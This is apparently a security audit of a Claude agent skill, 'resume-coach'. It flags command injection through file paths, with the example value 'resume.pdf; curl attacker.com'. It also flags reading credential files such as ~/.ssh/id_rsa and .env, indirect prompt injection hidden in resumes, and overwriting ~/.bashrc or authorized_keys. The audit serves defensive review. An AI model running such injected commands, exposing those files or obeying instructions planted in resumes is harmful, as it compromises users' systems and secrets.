The Agent Skills Directory

[COMMAND_EXECUTION]: The skill instructs the agent to execute a shell command using a user-provided file path: python .claude/skills/resume-coach/parser.py <文件路径>. If the user provides a path containing shell metacharacters (e.g., resume.pdf; curl attacker.com), it could lead to arbitrary command execution in the agent's environment.
[DATA_EXFILTRATION]: The file parsing mechanism accepts arbitrary paths from the user. An attacker could provide paths to sensitive files such as ~/.ssh/id_rsa, ~/.aws/credentials, or .env. The parser.py script will read these files and output their content to the agent's context, potentially exposing credentials.
[PROMPT_INJECTION]: The skill is vulnerable to Indirect Prompt Injection. It ingests and processes untrusted data from resumes and job descriptions without any boundary markers or instructions to ignore embedded commands. Malicious text hidden in a resume could hijack the agent's logic.
Ingestion points: Files with extensions .pdf, .docx, .txt, and .md are parsed by parser.py and their content is processed by the agent in Step 2 of the SOP.
Boundary markers: None identified. There are no delimiters or warnings to the agent to disregard instructions found within the resume or JD content.
Capability inventory: The skill uses a shell command to run parser.py and a 'Write tool' in Step 5 to save reports to user-specified paths.
Sanitization: None. The raw text from parsed files is directly used for evaluation and optimization.
[COMMAND_EXECUTION]: Step 5 allows the agent to write a report to a 'user specified path' using a Write tool. Without path validation, this could be used to overwrite critical configuration files (e.g., ~/.bashrc or ~/.ssh/authorized_keys) to achieve persistence or privilege escalation.

resume-coach